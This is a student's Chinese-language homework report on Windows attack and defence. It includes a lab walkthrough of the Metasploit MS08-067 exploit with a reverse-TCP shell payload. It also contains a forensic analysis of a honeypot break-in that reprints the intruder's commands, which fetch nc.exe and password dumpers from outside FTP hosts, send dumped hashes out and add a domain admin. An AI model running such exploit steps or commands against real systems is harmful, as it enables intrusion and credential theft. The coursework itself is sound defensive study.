20199131 2019-2020-2 《网络攻防实践》第7周作业
1.实践内容
1.1 Windows操作系统基本基本框架概述
1.1.1 Windows操作系统的发展与现状
- Windows是目前市场上占统治地位的操作系统
1.1.2 Windows操作系统的基本结构
Windows操作系统内核的基本模块包括如下:
- Windows执行体:Windows内核核心文件ntoskrnl.exe的上层接口,包括基本的操作系统内核服务
- Windows内核体:Windows内核核心文件ntoskrnl.exe中实现函数与硬件体系结构支持代码,实现底层的操作系统功能
- 设备驱动程序:包括将用户I/O操作映射为特定设备I/O请求的硬件设备驱动程序,以及文件系统和网络设备驱动程序
- 硬件抽象层:即hal.dll文件, 是用于屏蔽Windows 内核与平台硬件差异的底层代码。
- Windows窗口与图形界面接口内核实现代码: 即win 32k.sys文件。
1.2 Windows操作系统的安全体系结构与机制
1.2.1 Windows系统安全体系结构
Windows系统安全体系结构示意图如下:
其中最为核心的是位于内核中的SRM(Security Reference Monitor)安全引用监视器,以及位于用户态的LSASS(Local Security Authority Subsystem Service)安全服务,它们与其它服务一起,实现对主体用户的身份认证机制、对所有资源对象的访问控制机制,以及对访问的安全审计机制。
1.2.2 Windows身份认证机制
1.2.3 Windows授权和访问控制机制
1.2.4 Windows安全审计机制
1.2.5 Windows的其他安全机制
1.3 Windows远程安全攻防技术
1.3.1 Windows系统的安全漏洞生命周期
1.3.2 Windows远程口令猜测和破解攻击
- 口令猜测和破解:关闭不需要的端口、配置主机防火墙来限制上述端口、利用网络防火墙来限制这些服务的访问和禁用存在缺陷的NTLM
1.3.3 Windows服务远程渗透攻击
- 远程渗透攻击防范措施:从软件设计上尽量减少渗透攻击、尽可能快的更新安全补丁、为零日漏洞配置缓解攻击配置、利用安全清单插件来固化网络、通过漏洞扫描软件来标识存在的漏洞。
1.4 Windows本地安全攻防技术
1.4.1 Windows本地特权提升
- 本地提权的常见三种手段:溢出提权、windows错误系统配置、计划任务提权。
- 防范措施:及时打补丁、及时跟进厂家的安全警告
1.4.2 Windows敏感信息窃取
- 包括windows系统口令字密文提取技术、windows系统口令字破解技术、用户敏感信息窃取等手段
- 防范措施:使用安全度高、能抵挡破解的口令
1.4.3 Windows消踪灭迹
- 主要手段包括、关闭审计功能、清理事件日志。
- 防范措施:实现配置好系统审计和网络服务审计功能,并将日志传输到安全服务器中。
1.4.4 Windows远程控制和后门程序
- 主要手段包括向受控主机中植入第三方的远程控制与后门程序,主要包含命令行远程控制程序和图形化远程控制程序。
- 防范措施:采用一些后门检测软件来尝试发现攻击者隐藏的后门程序。
2.实践过程
2.1 实践一:Metasploit Windows Attacker
任务:使用windows Attacker/BT4攻击机尝试对windows Metasploitable靶机上的MS08-067漏洞进行远程渗透攻击,获取目标主机的访问权
环境:Kali攻击机(192.168.200.13) Windows2K Server靶机(192.168.200.88)
(1)Metasploit目前提供了三种用户使用接口,一个是GUI模式,另一个是console终端模式,第三种是CLI(命令行)模式。msfcli 不提供交互,这里使用最常用的msfconsole
(2)输入msfconsole,运行此命令后将进入msf 命令提示符: msf>
(3)查找ms08_067漏洞,msf > search ms08_067
- 由上图可知,渗透攻击模块路径为“exploit/windows/smb/ms08_067_netapi”,其中exploit代表模块类型,windows代表目标平台,smb代表目标服务,ms08_067_netapi代表模块名字。模块的源代码文件在Metasploit的安装路径加上这条路径的目录下存着
(4)使用MS08_067漏洞:use exploit/windows/smb/ms08_067_netapi,接着查看攻击载荷基本信息:show payloads,如下图所示:
(5)选择其中的generic/shell_reverse_tcp,即回连至控制端的后门,如下图所示:
(6)首先查看所需的配置选项,如下图所示:
(7)再对各个选项进行配置,把RHOST设置为靶机ip:192.168.200.88;把LPORT,即后门回连的端口设置为5000;把LHOST设置为攻击机ip,即192.168.200.13;设置target,即目标系统类型为0。如下图所示
(8)再次查看配置选项,确保没有错误,如下图所示:
经确认,配置是正确的。
(9)使用exploit命令发起渗透攻击,再使用ipconfig /all查看IP地址及主机名,确认攻击成功,如下图所示:
实践二:取证分析实践:解码一次成功的NT系统破解攻击
任务:来自213.116.251.162的攻击者成功攻陷了一台由rfp部署的蜜罐主机172.16.1.106(主机名为lab.wiretrip.net),回答下列问题。
攻击者使用了什么破解工具进行攻击?
攻击者如何使用这个破解工具进入并控制了系统?
攻击者获得系统访问权限后做了什么?
我们如何防止这样的攻击?
你觉得攻击者是否警觉了他的目标是一台蜜罐主机?如果是,为什么?
注:以下内容取自Windows攻击取证分析实践
第一步,日志文件分析及重要信息提取
面对天书般的日志文件,一时感觉无从下手,稍事观察后,发现日志文件由以下内容组成:
可识别的HTTP协议内容
可识别的SQL语言代码内容
可识别的系统操作代码内容
不可识别的数据(二进制数据)
针对上述内容相互交叉,阅读困难的特点,决定按照以下思路进行日志文件分析。
a) HTTP协议的提取;
b) SQL语言代码提取;
c) 系统操作代码内容提取
第二步:重要信息分析
对于提取的SQL语言代码,对其进行简化处理,得到下面shell脚本代码。
shell ( “cmd /c echo werd >> c : f u n ” ) ;
shell ( “cmd /c echo user johna2k > ftpcom” ) ;
shell ( “cmd /c echo hacker 2000 >> ftpcom” ) ;
shell ( “cmd /c echo get samdump .dll >> ftpcom” ) ;
shell ( “cmd /c echo get pdump .exe >> ftpcom” ) ;
shell ( “cmd /c echo get nc.exe>>ftpcom” ) | ;
shell ( “cmd /c echo quit>>ftpcom” )
shell ( “cmd /c ftp – s : ftpcom- n www.nether.net” ) ;
shell ( “cmd /c pdump .exe>>new .pass” ) ;
shell ( “cmd /c echo userjohna2k > ftpcom2 ” ) ;
shell ( “cmd /c echo hacker2000>>ftpcom2 ” ) ;
shell ( “cmd /c put new . pass>>ftpcom2 ” ) ;
shell ( “cmd /c echo quit>>ftpcom2 ” ) ;
shell ( “cmd /c ftp -s : ftpcom2 – n www.nether.net” ) ;
shell ( “cmd /c ftp 213.116.251.162 ” ) ;
shell ( “cmd /c echo open 213.116.251.162 > ftpcom ” ) ;
shell ( “cmd /c echo johna2k > ftpcom” ) ;
shell ( “cmd /c echo hacker2000>>ftpcom” )
shell ( “cmd /c echo get samdump . dll>>ftpcom” ) ;
shell ( “cmd /c echo get pdump .exe>>ftpcom” ) ;
shell ( “cmd /c echo get nc .exe>>ftpcom” ) ;
shell ( “cmd /c echo quit>>ftpcom” ) ;
shell ( “cmd /c open 212.139.12.26 ” ) ;
shell ( “cmd /c echo johna2k>>sasfile ” ) ;
shell ( “cmd /c echo haxedj00>>sasfile ” ) ;
shell ( “cmd /c echo get pdump .exe>>sasfile ” )
shell ( “cmd /c echo get samdump . dll>>sasfile ” ) ;
shell ( “cmd /c echo get nc .exe>>sasfile ” ) ;
shell ( “cmd /c echo quit>>sasfile ” ) ;
shell ( “cmd /c ftp – s : sasfile ” )
shell ( “cmd /c open 213.116.251.162 ” ) ;
shell ( “cmd /c echo johna2k>>sasfile ” ) ;
shell ( “cmd /c echo haxedj00>>sasfile ” ) ;
shell ( “cmd /c echo get pdump .exe>>sasfile ” ) ;
shell ( “cmd /c echo get samdump . dll>>sasfile ” ) ;
shell ( “cmd /c echo get nc.exe>>sasfile ” ) ;
shell ( “cmd /c echo quit>>sasfile ” ) ;
通过分析上面的脚本代码,可以了解到攻击者如何将网络攻击工具软件注入到被攻击的目标主机。
首先,攻击者通过IIS Unicode 漏洞了解了被攻击主机操作系统的一些基本情况,然后其利用Windows系统的MSADC系统漏洞允许任意代码执行的缺陷,将 pwdump.exe,口令破解工具注入到目标主机并破解目标主机的登录用户名和口令,并通过修改用户名和口令的方式完成了利用FTP进行网络攻击工具软件nc.exe的注入操作。
随后,攻击者利用nc.exe工具对目标主机进行了端口绑定操作,以实现允许攻击者进行远程登录操作。
在攻击者完成了远程登录操作后,他主要完成了下面的几项操作
A、 对目标主机的文件系统进行了嗅探(有近百余次的文件目录操作),并多次打开目标主机中的相关文件。
B、 尝试在根目录下创建rdisk,但是没有成功。
C、 并试图通过删除SAM数据库中的数据(拷贝和删除har.txt)和将自己天加到管理员组中的方式来实现提升自己访问权限的目的。
D、 他还试图在其它端口(6969)上运行nc,但是没有成功。
在整个操作过程中,攻击者多次使用帮助命令来获取相关命令参数的使用帮助信息,同时,其操作命令经常出现错误。总的看来,在这次攻击过程中,攻击者的表现不是很好,进而可以推断,其本人的技术水平应该不是很高。
shell ( ” cmd / c C : P r o g r a m F i l e s C o m m o n F i l e s s y s t e m m s a d c p d u m p . e x e > > y a y . t x t ” )
shell ( ” cmd / c C : P r o g r a m F i l e s C o m m o n F i l e s s y s t e m m s a d c p d u m p . e x e > > c : y a y . t x t ” )
shell ( ” cmd / c pdump . e x e >> c : y a y . t x t ” )
shell ( ” cmd / c n e t s e s s i o n > > y a y 2 . t x t ” )
shell ( ” cmd / c n e t s e s s i o n > > c : y a y 2 . t x t ” )
shell ( ” cmd / c n e t u s e r s > > h e h . t x t ” )
shell ( ” cmd / c n e t u s e r s > > c : h e h . t x t ” )
shell ( “ / c n e t localgroup Domain Admin I W A M _ K E N N Y / A D D ” )
shell ( ” cmd / c r d i s k – / s ” )
shell ( ” cmd / c r d i s k – s “
shell ( ” cmd / c r d i s k ” )
shell ( ” cmd / c r d i s k – s / ” )
shell ( ” cmd / c r d i s k – s / ” )
shell ( ” cmd / c r d i s k / s –“ )
shell ( ” cmd / c r d i s k / s – ” )
shell ( ” cmd / c r d i s k / s –“)
shell ( ” cmd / c t y p e c : winnt repair sa . _ > > c : h a r . t x t ” )
shell ( ” cmd / c d e l c : inetpub w w w r o o t h a r . t x t ” )
shell (” cmd / c d e l c : i n e t p u b w w w r o o t h a r . t x t “)
针对相关问题的回答
1. 攻击者使用了什么破解工具进行攻击?
口令破解工具和nc.exe来实现对目标主机的攻击。 Nc.exe:完成远程主机连接等工作。
2. 攻击者如何使用这个破解工具进入并控制了系统?
Nc.exe:完成远程主机连接后,利用telnet操作实现对操作系统的控制。
3. 当攻击者获得系统的访问权后做了什么?
A、 对目标主机的文件系统进行了嗅探。
B、 尝试在根目录下创建rdisk,但是没有成功。
C、 并试图通过删除SAM数据库中的数据(拷贝和删除har.txt)和将自己天加到管理员组中的方式来实现提升自己访问权限的目的。
D、 他还试图在其它端口上运行nc。
4. 我们如何防止这样的攻击?
到微软官方网站下载针对上述漏洞的补丁,
5. 你觉得攻击者是否警觉了他的目标是一台蜜罐主机?如果是,为什么?
我个人认为攻击者应该没有意识到其攻击的是蜜罐主机,因为从其攻击过程中的表现来看,这个人应该不是个专业黑客,更像是一个新手。这个人估计是在利用自己所掌握的各类网络攻击技术来对目标主机进行攻击操作,而不一定关注到自己是否在攻击一个蜜罐主机。
团队对抗实践:Windows系统远程渗透攻击和分析
任务:
攻击方使用metaploit选择漏洞进行渗透攻击,获得控制权。
防守方使用wireshark监听获得网络攻击的数据包,结合分析过程,获得攻击者IP地址、目的IP地址和端口、攻击发起时间、攻击利用漏洞、攻击使用的shellcode,以及本地执行的命令输入信息。
我们使用wireshark在一旁嗅探,得到攻击过程中的数据包
可以看到源地址192.168.200.16,靶机地址192。168.200.88
源端口5000, 目标端口1043
攻击发起时间,从第一个ARP请求开始
3.学习中遇到的问题及解决
- 问题1:kali下由于权限不够,无法使用wireshark
- 问题1解决方案:使用root登录kali
4.实践总结
做网络攻防需要的知识面比较广,需要广泛摄入。